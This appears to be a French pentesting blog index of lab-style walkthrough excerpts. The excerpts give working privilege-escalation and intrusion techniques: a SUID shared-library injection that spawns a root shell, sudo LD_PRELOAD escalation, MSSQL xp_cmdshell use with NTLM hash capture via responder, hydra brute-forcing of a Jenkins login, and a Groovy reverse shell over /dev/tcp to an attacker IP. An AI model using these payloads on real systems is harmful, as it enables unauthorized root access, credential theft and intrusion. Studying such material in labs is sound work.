Injection de code lors de l’exécution d’un binaire suid

suid injection #include <stdio.h> #include <stdlib.h> toinject.c gcc -shared -fPIC -o /home/user/.config/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger /home/user/.config/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() {               setuid(0);               system("/bin/bash -p"); }

Obtenir un shell root en modifiant les variables d’environnement sudo

On peut injecter du code lors de l’exécution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c On peut obtenir un root shell en exécutant un programme que l’on peut exécuter avec sudo de cette façon sudo LD_PRELOAD=/tmp/preload.so program-name-here preload.c #include <stdio.h> #include <sys/types.h> #include … Continuer la lecture

Exploits openbsd

OpenBSD devs patch authentication bypass bug Il y a un bug dans l’utilitaire check_auth. En utilisant le username -schallenge, nous pouvons nous connecter. Il y a aussi un 2e exploit, xlock privilege escalation qui nous donne les droits de l’administrateur.

Exploitation de mssql

On peut se connecter via linux à un server mssql via l’utilitaire mssqlclient.py qui est inclus avec impacket mssqlclient.py -windows-auth nomdelordi/reporting@10.9.0.60 enable_xp_cmdshell Si nous n’avons pas la permission, nous pouvons utiliser l’outil responder pour obtenir le NTLMv2-SSP Hashh. L’outil s’exécute sur l’ordinateur de l’attaquant (10.9.0.60) responder -I tun0 Et puis nous faisons une requête sur … Continuer la lecture

Exploiter Jenkins

On peut tenter de trouver le mot de passe de Jenkins. On intercepte une requête de connexion dans burp On utilise hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" Jenkins/Manage Jenkins/Script Console r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.9.0.60/9999;cat <&5 | while read line; do \$line 2>&5 >&5; done"] … Continuer la lecture